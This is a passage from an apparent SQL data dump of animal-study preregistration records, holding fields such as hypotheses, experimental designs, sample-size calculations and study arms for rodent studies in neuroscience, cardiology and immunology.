taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"}]','2022-03-31 13:24:05','2022-03-31 13:24:06'),
	(10054,278,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10055,278,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10056,278,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10057,278,'application_number','\"003-CIC-2019\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10058,278,'hypothesis','\"Muscarinic receptors inhibition will differentially affect neophobia and its attenuation when infused in the BLA versus the CeA.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10059,278,'primary_readout_parameter','\"To evaluate the role of muscarinic receptors in CeA and BLA during the formation of attenuation of neophobia. The ingested amount of novel taste solution as well as the amount of that same taste, presented a second, third, fourth and fifth time will be measured, under each condition (for example M1 antagonist in BLA before novel taste; M2 antagonist in CeA after novel taste, etc.). This amount will be compared to the amount of water (presented simultaneously) ingested and a preference index will be obtained with the following formula: vol. sac.\\/ (vol. sac. + vol. water) * 100.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10060,278,'secondary_readout_parameter','\"2. Cannulae placements\\n\\n3. Volume of saccharin.\\n\\n4. (optional) The number of licks pero bouts of 5 seconds as a secondary readout of the hedonic value of the taste.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10061,278,'experimental_design','\"We will use 240 adult male Wistar rats (250\\u2212 300 g) will be used as experimental subjects. Animals will be implanted bilaterally with cannulas aimed at either the BLA or CeA. Rats will be allowed 7 days to recover. After recovery, rats are randomly assigned to either vehicle or drug (eg.: scopolamine) group, for each experiment. Next, they will be water-deprived overnight after which they will be allowed to drink fluid for 10 minutes twice a day in a training chamber containing 10 water-filled 3mL burettes, one session in the morning and another in the afternoon. Taste solutions are presented during the morning sessions, the afternoon session serving to habituate the rats to the drinking chamber and schedule and prevent dehydration. Following days 1 and 2 during which rats are administered water only, animals on day 3 will be presented with novel taste solution (saccharin 0.3% in tap water) in 5 of the 10 burettes. \\n\\nOn day 5, animals will again be presented with 5 burettes containing water and the remaining 5 containing saccharin to evaluate long-term memory. Long-term memory will be evaluate for another 3 days after which animals will be administered an overdose on sodium pentobarbital, their brain fixed and the infusion site assessed.\\n\\nThe drugs will be administered either 1) 5 min before novel taste presentation; 2) immediately after novel taste presentation; 3) 5 min before retrieval, i.e. the second taste presentation on day 5 or 4) both 5 min before novel taste and 5 min before retrieval.\\n\\nThe dependent variable, the preference index, will be obtained with the following formula:\\n\\nvol. saccharin \\/ (vol. saccharin + vol. water) x 100.\\n\\nThe data will be analyzed with a mixed two-way ANOVA with one repeated (familiarity: first, second etc. presentation) and one non repeated measure: the drug.\\n\\nPost-hoc test will be applied were appropriate.\\n\\nDifferences between groups will be considered significant when  p&lt;0.05\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10062,278,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10063,278,'sample_size_calculation_details','\"To obtain the sample size, we used the following formula:\\n\\nSSC= (2) SD2 (Z\\u03b1\\/2+ Z\\u03b2) 2 \\/ d2.\\n\\nWith a type 1 error of 5% and power of 80% and applied it to a previously published study using saccharin volume as the outcome  (Gutierrez and Bermudez-Rattoni 2003, European Journal of Neuroscience) as well as a pilot study we performed ourselves (data not shown). We determined to use the average of the two results for our sample size.\\n\\nWe obtained a result of 9 rats per group; we will plan 10 per group to account for attrition (Charan &amp; Kantaria, 2013 Journal of Pharmacology and Pharmacothera\\u00e9utics). We aimed to use 2 groups per intervention (Drug or Vehicle) for the 32 interventions with a total number of 288 animals taking in to account for attrition.\"','2022-03-31 13:24:05','2022-03-31 13:24:06'),
	(10064,278,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10065,278,'yes_blinded_assessment_partially_details','\"A code is assigned to each phaarmacological condition by the experimenter who performs the drug infusions. A different experimenter analyzes the data with groups identified only by the code.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10066,278,'original_animal_ethics_committee_application','\"https:\\/\\/administracion.cinvestav.mx\\/Secretar%C3%ADadePlaneaci%C3%B3n\\/Coordinaci%C3%B3ndeServiciosdeApoyo\\/Coordinaci%C3%B3nGeneraldeServiciosExperimentales\\/UPEAL\\/CICUAL.aspx\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10067,278,'link_to_data','\"https:\\/\\/onlinelibrary-wiley-com.pbidi.unam.mx:2443\\/doi\\/full\\/10.1046\\/j.1460-9568.2003.02608.x?sid=nlm%3Apubmed\\n\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10068,279,'title','\"No significant rescue effects of the anti-oxidative compound KH176 on a mouse model for Leigh disease\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10069,279,'contact_name','\"Chao Guo\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10070,279,'contact_role','\"Executive researcher\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10071,279,'contact_email','\"Chao.guo@radboudumc.nl\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10072,279,'study_centre','[{\"name\":\"Radboud UMC\",\"city\":\"Nijmegen\",\"country\":\"NL\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10073,279,'financial_support','[\"grants\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10074,279,'start_date','\"2020-09-01\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10075,279,'end_date','\"2022-09-01\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10076,279,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10077,279,'research_field','\"neuroscience\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10078,279,'hypothesis','\"to test whether the anti-oxidative compound KH176 has rescue effect on a mouse model of Leigh syndrome\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10079,279,'intervention_type','\"compound\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10080,279,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10081,279,'primary_readout_parameter','\"Efficacy based on the brain activity and structure after around 1 week, 2 weeks and 3 weeks.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10082,279,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10083,279,'species','\"mouse\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10084,279,'sex','\"both\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10085,279,'experimental_design','\"A mouse model of Leigh syndrome.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10086,279,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10087,279,'sample_size_calculation_details','\"Based on our previous experience, there is a genotype difference in FA value of 0.07 with a standard deviation of 0.04. To test this difference we need a total of 12 animals per group at power of 80% and type I error rate of 5%. Sample size calculation is based on three way ANOVA. We calculate 11 mice per group based on a three way ANOVA and 24 pairwise comparisons using Bonferroni adjustment. However, we will use 12 mice per group due to the sensitivity of the calculations to small changes in the standard deviation and due to limited experience with imaging studies with this model. \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10088,279,'sum_of_animals','\"144\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10089,279,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"early stage \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"early stage\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"middle stage\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"middle stage\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"late stage\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"late stage\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"early stage\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"early stage\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"middle stage\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"middle stage\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"late stage\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"late stage\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10090,279,'randomisation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10091,279,'randomisation_method_used','\"other\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10092,279,'other_randomisation_method','\"Randomization (random.org) will be applied for treatment group. Within one cage all different treatment groups are present.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10093,279,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10094,279,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10095,279,'yes_blinded_intervention_how_details','\"Blinding will be applied for treatment. Blinding for genotype is not possible due to the disease phenotype of the KO mice.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10096,279,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10097,279,'yes_blinded_assessment_partially_details','\"the treatment and genotype are both blinded to the researcher when analysing the data\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10098,279,'placebo_controlled','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10099,279,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10100,280,'title','\"A single cell atlas of hypertrophic cardiomyopathy to discover new therapies\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10101,280,'contact_name','\"Martijn Wehrens\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10102,280,'contact_role','\"executive researcher\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10103,280,'contact_email','\"m.wehrens@hubrecht.eu\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10104,280,'study_centre','[{\"name\":\"Hubrecht Institute\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10105,280,'financial_support','[\"other\"]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10106,280,'start_date','\"2022-10-01\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10107,280,'end_date','\"2025-09-30\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10108,280,'study_status','\"not_started\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10109,280,'research_field','\"cardiology\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10110,280,'hypothesis','\"Single cell sequencing of a mouse HCM model carrying a MYCBP3 mutation for de novo discovery of regulatory pathways involved in HCM.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10111,280,'intervention_type','\"not_applicable\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10112,280,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10113,280,'primary_readout_parameter','\"Primary readout will be single cell RNA sequencing dataset, that will be analysed for gene expression patterns.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10114,280,'secondary_readout_parameter','\"Typical heart performance parameters (heart weight, echo data, etc) will also be recorded, as well as supplemental RT-PCR of biological (stress) marker genes.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10115,280,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10116,280,'species','\"mouse\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10117,280,'strain','\"C57BL\\/6 background with Mybpc3 Trp796fs mutation and wild type litter mates.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10118,280,'sex','\"both\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10119,280,'experimental_design','\"This is a baseline study of a mouse model that develops hypertrophic cardiomyopathy. Mice will be sacrificed at p1, p7, p14, p28 and p56 and single cell RNA sequencing will be performed on their hearts.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10120,280,'sample_size_calculation','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10121,280,'sample_size_calculation_details','\"scRNA-seq can infer gene expression patterns between cells within the same samples, and can therefor very robustly determine effects. Assuming an SD of 5-10% (consistent with previous studies), and effects in the 1.25X-1.5X range, n=2 or n=3 is sufficient to achieve alpha = 0.05 and power = 80% (power calculation for t-test). We will start with n=2 and collect more samples if required.\\n\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10122,280,'sum_of_animals','\"40\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10123,280,'study_arms','[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"WT male and female mice at p1, p7, p14, p28 and p56\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"MYBPC3 mutated male and female mice at p1, p7, p14, p28 and p56\"}]','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10124,280,'randomisation','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10125,280,'why_no_randomisation','\"Groups are based on genotype.\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10126,280,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10127,280,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10128,280,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10129,280,'has_embargo','\"yes\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10130,280,'application_number','\"AVD 80100 202114503\"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10131,280,'other_financial_support','\"I have applied for a grant to be able to perform this study. \"','2022-03-31 13:24:05','2022-03-31 13:24:05'),
	(10132,277,'yes_blinded_assessment_partially_details','\"The images are assigned a code and the experimentor analyzing the images, that is, the number of c-Fos positive nuclei, the number of Fluorogold positive cells and the proportion of c-Fos positive cells that are also Fluorogold positive is blind as to the experimental condition.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10133,281,'study_centre','[{\"name\":\"Nesrin Schmiedel\",\"city\":\"Kiel\",\"country\":\"DE\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10134,281,'contact_name','\"Nesrin Schmiedel\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10135,281,'contact_role','\"researcher\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10136,281,'contact_email','\"Nesrin.Schmiedel@uksh.de\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10137,281,'financial_support','[\"grants\"]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10138,281,'start_date','\"2022-05-02\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10139,281,'end_date','\"2025-05-02\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10140,281,'study_status','\"not_started\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10141,281,'research_field','\"cardiology\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10142,281,'intervention_type','\"compound\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10143,281,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10144,281,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10145,281,'species','\"mouse\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10146,281,'strain','\"C57BL\\/6NCrl mice (commercial provider Charles River)\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10147,281,'sex','\"both\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10148,281,'experimental_design','\"Male and female adult (8-week-old) C57BL\\/6N mice will be subjected to transverse aortic constriction (TAC) as model for pressure-overload induced heart failure and treated after 3 days or 2 weeks with adeno-associated virus (AAV) vectors expressing L-2-hydroxyglutarate dehydrogenase (L2HGDH) or control-AAV or saline. 6 weeks after TAC mice are sacrificed and organs (heart and representative organs) are stored at -80\\u00b0C.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10149,281,'sample_size_calculation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10150,281,'secondary_readout_parameter','\"Fractional Shortening (FS)%,2,4 and 6 weeks and  morphological parameter (heart wall thickness and  heart diameter), \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10151,281,'hypothesis','\"Evaluation of the beneficial heart failure protecting mechanism as well as the metabolic consequences of L-2-hydroxyglutarate dehydrogenase overexpression in hearts from mice subjected to pressure overload by transverse aortic constriction. \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10152,281,'primary_readout_parameter','\"Left Ventricular Ejection Fraction (EF) % after 2,4 and 6 weeks\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10153,281,'sum_of_animals','\"312= 156 for each location ( we have 2 locations)\\n\\n\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10154,281,'study_arms','[{\"type\":\"sham\",\"number\":\"120\",\"intervention\":\"control to the surgery (TAC) (AAV- Treatment with control- AAV+AAV-Vector with control with saline 0.9%+TAC-AAV compound)\"},{\"type\":\"control\",\"number\":\"56\",\"intervention\":\"TAC control to the AAV- Treatment with control- AAV \"},{\"type\":\"control\",\"number\":\"56\",\"intervention\":\"TAC control to the AAV-Vector with control with saline 0.9%\"},{\"type\":\"intervention\",\"number\":\"80\",\"intervention\":\"TAC- AAV- compound (study- group)\"}]','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10155,281,'randomisation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10156,281,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10157,281,'yes_blinded_intervention_partially_details','\"investigators blinded as  descripted in our Standard Operating Procedure (SOP) which are based on the PREPARE Guidelines  of the Norecopa, Norway\'s National Consensus Platform for the advancement of &quot;the 3 Rs&quot; (Replacement, Reduction, Refinement). \\nPerson who are doing the surgery, injection and Echo are Independent. \\n \"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10158,281,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10159,281,'yes_blinded_assessment_partially_details','\"investigators blinded as  descripted in our Standard Operating Procedure (SOP) which are based on the PREPARE Guidelines  of the Norecopa, Norway\'s National Consensus Platform for the advancement of &quot;the 3 Rs&quot; (Replacement, Reduction, Refinement). \\nPerson who are doing the statistig and the assessments are independed.\\n \\n\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10160,281,'placebo_controlled','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10161,281,'title','\"In vivo validation of L-2-hydroxyglutarate dehydrogenase as novel metabolic target in heart failure\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10162,281,'short_title','\"IVOLDAMT HF\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10163,282,'title','\"Effect of maternal immune activation on vaccination responses in the offspring \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10164,282,'contact_name','\"Jos\\u00e9 Fern\\u00e1ndez-Calleja\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10165,282,'contact_role','\"Postdoctoral researcher\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10166,282,'contact_email','\"j.m.s.fernandezcalleja@uu.nl\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10167,282,'study_centre','[{\"name\":\"Utrecht University\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10168,282,'financial_support','[\"grants\"]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10169,282,'start_date','\"2022-03-02\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10170,282,'end_date','\"2022-06-30\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10171,282,'study_status','\"active\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10172,282,'research_field','\"Immunology\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10173,282,'hypothesis','\"Infections and inflammation during pregnancy (widely known as &quot;maternal immune activation&quot;) are correlated with an increased risk of immune disorders in the developing children, including respiratory infections and food allergies. In this experiment, we address the question: does maternal immune activation during pregnancy influence the vaccination responsiveness of the offspring? \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10174,282,'intervention_type','\"not_applicable\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10175,282,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10176,282,'primary_readout_parameter','\"The primary outcome of the study will be the delayed-type hypersensitivity (DTH) reaction 9 days upon completion of the vaccination scheme (consisting of two injections of influenza vaccine). The DTH is determined by measuring ear swelling 24 hours after intradermal injection of Influenza vaccine into the ear pinna using a digital micrometer. \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10177,282,'secondary_readout_parameter','\"Antibody titres.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10178,282,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10179,282,'species','\"mouse\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10180,282,'strain','\"C3H\\/HeOuJ\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10181,282,'sex','\"both\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10182,282,'experimental_design','\"Models:\\nTo trigger maternal immune activation we will use the murine polyriboinosinic-polyribocytidylic acid [poly(I:C)] model, whereby poly(I:C) administration mimics the acute response to viral infection; this paradigm has been extensively validated in neurobehavioural research. \\n\\nThe influenza vaccination protocol is a well-established way to examine the Th1-facilitated cellular immune response as an indicator of immune fitness (i.e. the organism\'s ability to establish, maintain, and regulate appropriate immune responses). \\n\\nExperimental design:\\nTime-mated pregnant mice are injected intraperitoneally with 10 mg\\/kg poly(I:C) or PBS as control on gestational day (GD) 9. Dams are allowed to rear their litters as normal until weaning age. Offspring are then weaned onto a Control semi-purified diet (AIN-93G); dams are sacrificed for tissue collection. In postnatal week 5 and 8, offspring receive two subcutaneous injections with Influvac vaccine or PBS. A week after the last vaccination, the DTH reaction is evaluated by intradermal injection of Influvac into the ear pinna and measurement of ear thickness on the following day. Animals are then sacrificed for tissue collection and ex vivo analyses.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10183,282,'sample_size_calculation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10184,282,'sample_size_calculation_details','\"Statistical power calculations were based on a one-way omnibus fixed effects ANOVA to test for overall differences between all groups; followed by a t-test serving as post-hoc test between Influvac groups. \\n\\nWe considered a reduction of 12.4 \\u03bcm (25%) in the vaccination response of poly(I:C) offspring compared to controls as a relevant effect (E), with a standard deviation of 11.03 \\u03bcm; the resulting effect size being E\\/SD = 1.12. The reference data for these calculations was obtained from our previous vaccination study in male offspring of dams exposed to a fungal toxin in the diet during pregnancy and lactation (Seyed Toutounchi et al., Front. Immunol., 2021), where a reduction of 15.5 \\u03bcm in ear thickness was observed. Alpha was set to 0.05 since we are only interested on the comparison between vaccinated offspring of poly(I:C) dams vs vaccinated offspring of control dams. Power (1 - beta) was set to 0.8.\\n \\nSince we regard the influence of sex as an exploratory question and we lack reference data directly comparing the DTH in females and males for the influenza vaccination model, we did not take this factor into account for the statistical power calculations but opted to include an equal number of females and males in the study.\\n\\nIn our experience, drop-outs rarely occur in the poly(I:C) and vaccination models. However, we included additional breeding females to account for the relatively limited reproductive success we have previously observed for the C3H mouse strain (about 40% of mated females are expected to become pregnant). We will also inject additional animals to account for resorptions and incorrectly estimated GD-9 pregnancies (we expect 69% and 58% of PBS- and poly(I:C)-injected animals to deliver live litters, respectively).  \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10185,282,'sum_of_animals','\"Dams: N = 21\\nOffspring: N = 80\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10186,282,'link_to_data','\"https:\\/\\/doi.org\\/10.3389\\/fimmu.2021.797152\\n[Seyed Toutounchi N, Braber S, van\\u2019t Land B, Thijssen S, Garssen J, Kraneveld AD, Folkerts G and Hogenkamp A (2021) Exposure to Deoxynivalenol During Pregnancy and Lactation Enhances Food Allergy and Reduces Vaccine Responsiveness in the Offspring in a Mouse Model. Front. Immunol. 12:797152.]\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10187,282,'has_embargo','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10188,283,'title','\"The Effect of Sea Grapes Extract Supplementation on Lipidomic Profile and Oxysterols Serum of Cardio-Oncological Rats Model and the Enzymes Activity of Hepatic Microsomes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10189,283,'contact_name','\"Fahrul Nurkolis\\nHappy Kurnia Permatasari, MD., PhD\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10190,283,'contact_role','\"executive researcher\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10191,283,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10192,283,'study_centre','[{\"name\":\"Biology Laboratory\",\"city\":\"Yogyakarta\",\"country\":\"ID\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10193,283,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10194,283,'start_date','\"2021-10-01\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10195,283,'end_date','\"2022-03-01\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10196,283,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10197,283,'research_field','\"Cardiology, Oncology, Nutraceuticals\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10198,283,'hypothesis','\"Given the fact that tumors show a great affinity for Polyunsaturated fatty acids (PUFAs) and thus may affect the content of other FA\'s, especially conjugated fatty acids (CFAs) in nearby tissues, it is hypothesized that this influence may also be revealed in heart tissue, depending on physiological or pathological conditions. Therefore, the main subject of the study was to assess whether supplementation of sea grape extract affected FA content, including CFA in the hearts of female mice with chemically induced breast tumors. The supplements used can also affect cholesterol content and oxidative stress on heart tissue, which can also be affected by accompanying diseases. Thus, the impact of supplementation applied to lipid peroxidation was evaluated by measurement of the content of MDA and oxysterols in heart tissue as well as microsomal enzymes (COX-2 and CYP1B1).\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10199,283,'intervention_type','\"compound\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10200,283,'other_intervention_type','\"Extract\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10201,283,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10202,283,'primary_readout_parameter','\"1.\\tFA analysis in cardiac tissue\\n2.\\tindex of atherogenicity (AI)\\n3.\\tindex of thrombogenicity (TI)\\n4.\\thypo\\/hypercholesterolemic index (HH)\\n5.\\tCFA analysis in cardiac tissue\\n6.\\tMalondialdehyde (MDA) analysis in cardiac tissue\\n7.\\tTotal cholesterol, \\n8.\\tsqualene and oxysterols \\n9.\\tanalysis in cardiac tissue\\n10.\\tMicrosomal enzyme COX-2 (hepatic tissue)\\n11.\\tMicrosomal enzyme CYP1B1 (hepatic tissue)\\n12.\\tMalondialdehyde (MDA) analysis in hepatic tissue\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
